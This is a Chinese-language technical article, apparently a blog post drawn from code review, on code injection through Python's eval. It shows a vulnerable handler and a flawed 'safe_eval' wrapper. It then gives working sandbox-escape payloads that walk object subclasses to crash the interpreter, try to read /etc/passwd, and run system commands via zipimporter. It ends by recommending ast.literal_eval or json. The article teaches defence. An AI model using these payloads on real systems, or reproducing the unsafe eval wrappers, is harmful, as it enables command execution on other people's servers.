Python eval的常见错误封装及利用原理详解

最近在代码评审的过程，发现挺多错误使用eval导致代码注入的问题，比较典型的就是把eval当解析dict使用，有的就是简单的使用eval，有的就是错误的封装了eval，供全产品使用，这引出的问题更严重，这些都是血淋淋的教训，大家使用的时候多加注意。

下面列举一个实际产品中的例子，详情见[bug83055][1]：

def remove(request, obj)：
  query = query2dict(request.post)
  eval(query['oper_type'])(query, customer_obj)

而query就是post直接转换而来，是用户可直接控制的，假如用户在url参数中输入oper_type=__import__('os').system('sleep 5') 则可以执行命令sleep，当然也可以执行任意系统命令或者任意可执行代码，危害是显而易见的，那我们来看看eval到底是做什么的，以及如何做才安全？

1，做什么

简单来说就是执行一段表达式

>>> eval('2+2')
4

>>> eval("""{'name':'xiaoming','ip':'10.10.10.10'}""")
{'ip': '10.10.10.10', 'name': 'xiaoming'}

>>> eval("__import__('os').system('uname')", {})
linux
0

从这三段代码来看，第一个很明显做计算用，第二个把string类型数据转换成python的数据类型，这里是dict，这也是咱们产品中常犯的错误。第三个就是坏小子会这么干，执行系统命令。

eval 可接受三个参数，eval(source[, globals[, locals]]) -> value

globals必须是路径，locals则必须是键值对，默认取系统globals和locals

2，不正确的封装

（1）下面我们来看一段咱们某个产品代码中的封装函数，见[bug][2]，或者网络上搜索排名比较高的代码，eg：

def safe_eval(eval_str):
 try:
  #加入命名空间
  safe_dict = {}
  safe_dict['true'] = true
  safe_dict['false'] = false
  return eval(eval_str,{'__builtins__':none},safe_dict)
 except exception,e:
  traceback.print_exc()
  return ''

在这里__builtins__置为空了，所以像__import__这是内置变量就没有了，这个封装函数就安全了吗？下面我一步步道来：

>>> dir(__builtins__)
['arithmeticerror', 'assertionerror', 'attributeerror', 'baseexception', 'buffererror', 'byteswarning', 'deprecationwarning', 'eoferror', 'ellipsis', 'environmenterror', 'exception', 'false', 'floatingpointerror', 'futurewarning', 'generatorexit', 'ioerror', 'importerror', 'importwarning', 'indentationerror', 'indexerror', 'keyerror', 'keyboardinterrupt', 'lookuperror', 'memoryerror', 'nameerror', 'none', 'notimplemented', 'notimplementederror', 'oserror', 'overflowerror', 'pendingdeprecationwarning', 'referenceerror', 'runtimeerror', 'runtimewarning', 'standarderror', 'stopiteration', 'syntaxerror', 'syntaxwarning', 'systemerror', 'systemexit', 'taberror', 'true', 'typeerror', 'unboundlocalerror', 'unicodedecodeerror',

列表项

‘unicodeencodeerror', ‘unicodeerror', ‘unicodetranslateerror', ‘unicodewarning', ‘userwarning', ‘valueerror', ‘warning', ‘zerodivisionerror', ‘_', ‘debug‘, ‘doc‘, ‘import‘, ‘name‘, ‘package‘, ‘abs', ‘all', ‘any', ‘apply', ‘basestring', ‘bin', ‘bool', ‘buffer', ‘bytearray', ‘bytes', ‘callable', ‘chr', ‘classmethod', ‘cmp', ‘coerce', ‘compile', ‘complex', ‘copyright', ‘credits', ‘delattr', ‘dict', ‘dir', ‘divmod', ‘enumerate', ‘eval', ‘execfile', ‘exit', ‘file', ‘filter', ‘float', ‘format', ‘frozenset', ‘getattr', ‘globals', ‘hasattr', ‘hash', ‘help', ‘hex', ‘id', ‘input', ‘int', ‘intern', ‘isinstance', ‘issubclass', ‘iter', ‘len', ‘license', ‘list', ‘locals', ‘long', ‘map', ‘max', ‘memoryview', ‘min', ‘next', ‘object', ‘oct', ‘open', ‘ord', ‘pow', ‘print', ‘property', ‘quit', ‘range', ‘raw_input', ‘reduce', ‘reload', ‘repr', ‘reversed', ‘round', ‘set', ‘setattr', ‘slice', ‘sorted', ‘staticmethod', ‘str', ‘sum', ‘super', ‘tuple', ‘type', ‘unichr', ‘unicode', ‘vars', ‘xrange', ‘zip']

从__builtins__可以看到其模块中有__import__,可以借助用来执行os的一些操作。如果置为空，再去执行eval函数呢，结果如下：

>>> eval("__import__('os').system('uname')", {'__builtins__':{}})
traceback (most recent call last):
 file "<stdin>", line 1, in <module>
 file "<string>", line 1, in <module>
nameerror: name '__import__' is not defined

现在就是提示__import__未定义，不能成功执行了，看情况是安全了吧？答案当然是错的。
比如执行如下：

>>> s = """
... (lambda fc=(
...  lambda n: [
...   c for c in
...    ().__class__.__bases__[0].__subclasses__()
...    if c.__name__ == n
...   ][0]
...  ):
...  fc("function")(
...   fc("code")(
...    0,0,0,0,"test",(),(),(),"","",0,""
...   ),{}
...  )()
... )()
... """
>>> eval(s, {'__builtins__':{}})
segmentation fault (core dumped)

在这里用户定义了一段函数，这个函数调用，直接导致段错误

下面这段代码则是退出解释器：

>>>
>>> s = """
... [
...  c for c in
...  ().__class__.__bases__[0].__subclasses__()
...  if c.__name__ == "quitter"
... ][0](0)()
... """
>>> eval(s,{'__builtins__':{}})
liaoxinxi@rcm-rsas-v6-dev ~/tools/auto_judge $ 

初步理解一下整个过程：

>>> ().__class__.__bases__[0].__subclasses__()
[<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, <type 'weakproxy'>, <type 'int'>, <type 'basestring'>, <type 'bytearray'>, <type 'list'>, <type 'nonetype'>, <type 'notimplementedtype'>, <type 'traceback'>, <type 'super'>, <type 'xrange'>, <type 'dict'>, <type 'set'>, <type 'slice'>, <type 'staticmethod'>, <type 'complex'>, <type 'float'>, <type 'buffer'>, <type 'long'>, <type 'frozenset'>, <type 'property'>, <type 'memoryview'>, <type 'tuple'>, <type 'enumerate'>, <type 'reversed'>, <type 'code'>, <type 'frame'>, <type 'builtin_function_or_method'>, <type 'instancemethod'>, <type 'function'>, <type 'classobj'>, <type 'dictproxy'>, <type 'generator'>, <type 'getset_descriptor'>, <type 'wrapper_descriptor'>, <type 'instance'>, <type 'ellipsis'>, <type 'member_descriptor'>, <type 'file'>, <type 'sys.long_info'>, <type 'sys.float_info'>, <type 'encodingmap'>, <type 'sys.version_info'>, <type 'sys.flags'>, <type 'exceptions.baseexception'>, <type 'module'>, <type 'imp.nullimporter'>, <type 'zipimport.zipimporter'>, <type 'posix.stat_result'>, <type 'posix.statvfs_result'>, <class 'warnings.warningmessage'>, <class 'warnings.catch_warnings'>, <class '_weakrefset._iterationguard'>, <class '_weakrefset.weakset'>, <class '_abcoll.hashable'>, <type 'classmethod'>, <class '_abcoll.iterable'>, <class '_abcoll.sized'>, <class '_abcoll.container'>, <class '_abcoll.callable'>, <class 'site._printer'>, <class 'site._helper'>, <type '_sre.sre_pattern'>, <type '_sre.sre_match'>, <type '_sre.sre_scanner'>, <class 'site.quitter'>, <class 'codecs.incrementalencoder'>, <class 'codecs.incrementaldecoder'>, <type 'struct'>, <type 'cstringio.stringo'>, <type 'cstringio.stringi'>, <class 'configobj.interpolationengine'>, <class 'configobj.simpleval'>, <class 'configobj.interpolationengine'>, <class 'configobj.simpleval'>]

这句python代码的意思就是找tuple的class，再找它的基类，也就是object，再通过object找他的子类，具体的子类也如代码中的输出一样。从中可以看到了有file模块，zipimporter模块，是不是可以利用下呢？首先从file入手
假如用户如果构造：

>>> s1 = """
... [
...  c for c in
...  ().__class__.__bases__[0].__subclasses__()
...  if c.__name__ == "file"
... ][0]("/etc/passwd").read()()
... """
>>> eval(s1,{'__builtins__':{}})
traceback (most recent call last):
 file "<stdin>", line 1, in <module>
 file "<string>", line 6, in <module>
ioerror: file() constructor not accessible in restricted mode

这个restrictected mode简单理解就是python解释器的沙盒，一些功能被限制了，比如说不能修改系统，不能使用一些系统函数，如file，详情见restricted execution mode，那怎么去绕过呢？这时我们就想到了zipimporter了，假如引入的模块中引用了os模块，我们就可以像如下代码来利用。

>>> s2="""
... [x for x in ().__class__.__bases__[0].__subclasses__()
... if x.__name__ == "zipimporter"][0](
...  "/home/liaoxinxi/eval_test/configobj-4.4.0-py2.5.egg").load_module(
...  "configobj").os.system("uname")
... """
>>> eval(s2,{'__builtins__':{}})
linux
0

这就验证了刚才的safe_eval其实是不安全的。

3，如何正确使用

（1）使用ast.literal_eval
（2）如果仅仅是将字符转为dict，可以使用json格式

以上就是本文的全部内容，希望对大家的学习有所帮助，也希望大家多多支持。